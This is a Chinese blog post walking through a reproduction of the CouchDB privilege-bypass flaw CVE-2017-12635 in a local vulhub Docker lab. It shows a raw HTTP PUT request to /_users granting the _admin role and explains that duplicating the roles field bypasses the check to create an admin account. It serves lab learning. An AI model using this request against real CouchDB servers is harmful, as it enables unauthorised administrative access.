栏目分类:
子分类:
返回
名师互学网用户登录
快速导航关闭
当前搜索
当前分类
子分类
实用工具
热门搜索
名师互学网 > IT > 系统运维 > 运维 > Linux

Couchdb 垂直权限绕过漏洞(CVE-2017-12635)复现

Linux 更新时间: 发布时间: IT归档 最新发布 模块sitemap 名妆网 法律咨询 聚返吧 英语巴士网 伯小乐 网商动力

Couchdb 垂直权限绕过漏洞(CVE-2017-12635)复现

前提:搭建好docker环境,安装vulhub
漏洞复现:

  1. 进入CVE-2017-12635漏洞目录,启动docker服务
    service docker start

  2. 启动漏洞环境
    sudo docker-compose up -d

  3. 查看容器状态,发现5984端口开启
    sudo docker ps

  4. 访问localhost:5984/_utils/,查看环境是否搭建成功,如下图即成功搭建

  5. 构造发送一个正常的添加用户数据包

PUT /_users/org.couchdb.user:vulhub HTTP/1.1
Host: 172.18.0.1:5984
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/json
Content-Length: 92
{
  "type": "user",
  "name": "vulhub",
  "roles": ["_admin"],
  "password": "vulhub"
}

服务器返回错误,显示只允许admin添加用户

  1. 重复发送roles参数,成功绕过限制,创建用户vulhub
  2. 尝试用vulhub/vulhub登录,登陆成功
  3. 关闭镜像
    sudo docker-compose down -v
转载请注明:文章转载自 www.mshxw.com
本文地址:https://www.mshxw.com/it/827572.html
我们一直用心在做
关于我们 文章归档 网站地图 联系我们

版权所有 (c)2021-2022 MSHXW.COM

ICP备案号:晋ICP备2021003244-6号